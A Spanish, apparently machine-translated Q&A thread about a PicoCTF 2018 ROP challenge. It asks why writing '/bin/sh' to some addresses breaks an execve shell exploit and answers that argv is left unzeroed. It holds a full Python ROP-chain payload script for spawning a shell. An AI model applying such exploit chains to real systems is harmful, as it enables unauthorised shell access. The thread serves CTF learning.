¿En qué lugar de un binario se puede escribir '/ bin / sh' para obtener un shell?

3

Me he encontrado con un comportamiento en un desafío CTF que me parece muy extraño y me preguntaba si alguien podría ayudarme a entenderlo.

El desafío CTF fue el desafío Can-you-gets-me en PicoCTF2018 .

Fue un desafío de ROP (32 bits), y en mi intento inicial, escribí '/ bin / sh \ x00' en un punto en medio de la sección .data ( 0x080ea6a0 ), pero cuando Corrí la hazaña, tengo:

/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")

Después de buscar en línea algunas soluciones, descubrí que usaban diferentes direcciones para mí. Probé uno de ellos y descubrí que el exploit funcionaba con una dirección ( 0x80e9d60 ) que no parece estar en ninguna sección.

La salida readelf para las secciones fue:

$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
  [ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  23  4
  [ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
  [ 5] .plt              PROGBITS        080481d0 0001d0 0000e0 00  AX  0   0 16
  [ 6] .text             PROGBITS        080482b0 0002b0 07253c 00  AX  0   0 16
  [ 7] __libc_freeres_fn PROGBITS        080ba7f0 0727f0 000a6d 00  AX  0   0 16
  [ 8] __libc_thread_fre PROGBITS        080bb260 073260 00009e 00  AX  0   0 16
  [ 9] .fini             PROGBITS        080bb300 073300 000014 00  AX  0   0  4
  [10] .rodata           PROGBITS        080bb320 073320 01a8ac 00   A  0   0 32
  [11] __libc_subfreeres PROGBITS        080d5bcc 08dbcc 000028 00   A  0   0  4
  [12] __libc_atexit     PROGBITS        080d5bf4 08dbf4 000004 00   A  0   0  4
  [13] __libc_thread_sub PROGBITS        080d5bf8 08dbf8 000004 00   A  0   0  4
  [14] .eh_frame         PROGBITS        080d5bfc 08dbfc 012b10 00   A  0   0  4
  [15] .gcc_except_table PROGBITS        080e870c 0a070c 0000d0 00   A  0   0  1
  [16] .tdata            PROGBITS        080e9f5c 0a0f5c 000010 00 WAT  0   0  4
  [17] .tbss             NOBITS          080e9f6c 0a0f6c 000018 00 WAT  0   0  4
  [18] .init_array       INIT_ARRAY      080e9f6c 0a0f6c 000008 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      080e9f74 0a0f74 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        080e9f7c 0a0f7c 000004 00  WA  0   0  4
  [21] .data.rel.ro      PROGBITS        080e9f80 0a0f80 000070 00  WA  0   0 32
  [22] .got              PROGBITS        080e9ff0 0a0ff0 000008 04  WA  0   0  4
  [23] .got.plt          PROGBITS        080ea000 0a1000 000044 04  WA  0   0  4
  [24] .data             PROGBITS        080ea060 0a1060 000f20 00  WA  0   0 32
  [25] .bss              NOBITS          080eaf80 0a1f80 000e0c 00  WA  0   0 32
  [26] __libc_freeres_pt NOBITS          080ebd8c 0a1f80 000018 00  WA  0   0  4
  [27] .comment          PROGBITS        00000000 0a1f80 000035 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 0b0b7c 00014c 00      0   0  1
  [29] .symtab           SYMTAB          00000000 0a1fb8 007ec0 10     30 847  4
  [30] .strtab           STRTAB          00000000 0a9e78 006d04 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

Y aquí hay algunos ejemplos de direcciones que funcionaron:

  • 0x080e9d60 (mencionado anteriormente)
  • 0x080e9ff0 ( .got )
  • 0x080ebd8c ( libc_freeres_ptrs )
  • 0x080e9f3c
  • 0x080e9f4c
  • 0x080e9f4c
  • 0x080ea040
  • 0x080eaf60
  • 0x080ebd6c

Mi pregunta es: ¿Qué es tan especial por encima de estas direcciones que permiten que funcione el exploit, mientras que las otras no? es decir, qué criterios se deben tener en cuenta para elegir una dirección para escribir datos en una hazaña?

La pila de ROP Aquí es parte del script de Python que estoy usando para generar la carga útil, para referencia:

# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60

# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret

# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'

# The buffer to overwrite with junk
payload = 'A'*28

# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)

# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)

# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)

# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)

# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)

Editar: Después de algunas investigaciones más, una posible explicación que he encontrado es que el nuevo proceso /bin/sh sobrescribe partes de la memoria. Consulte enlace . ¿Es esa la razón?

    
pregunta Zack 17.12.2018 - 03:46
fuente

1 respuesta

2

Debería poder escribir en cualquier página de escritura (a menos que la dirección contenga algún byte incorrecto que el vector de entrada usará como delimitador o filtro). 0x80e9d60 es una de esas regiones de escritura. No hay nada intrínsecamente incorrecto con la dirección 0x080ea6a0 (que se encuentra en main_arena) que estés usando.

Cuando está ejecutando int 0x80 , los registros relevantes son:

  

eax: 0xb (syscall: sys_execve)
  ebx: 0x80ea6a0 (nombre de archivo: "/ bin / sh")
  ecx: 0x80ea6a8 (argv: [0x080ea6a0, 0x080ea6a0, ...])
  edx: 0x0000000 (envp: nulo)

¿Ves el problema con argv ? En la pila de rop original en el informe, se están reduciendo a cero ecx . Pero su ecx es solo address+8 , que puede contener bytes nulos o no, dependiendo del address . Así que esencialmente estás llamando a /bin/sh *garbage* *garbage* .. , mientras que debería haber sido solo /bin/sh . Por lo tanto, el código se está ejecutando realmente, pero /bin/sh se confunde con los argumentos de basura que se pasan.

Debes hacer que argv null o algún otro valor sano (si realmente pretendes pasar cualquier argumento). Entonces, modifique su pila de ROP para anular ecx (argv) , o elija una dirección donde tenga un valor nulo en address + 8 .

Conviértete en un hábito de ejecutar tu exploit en un depurador para ver qué está sucediendo realmente.

    
respondido por el rhodeo 17.12.2018 - 08:55
fuente

Lea otras preguntas en las etiquetas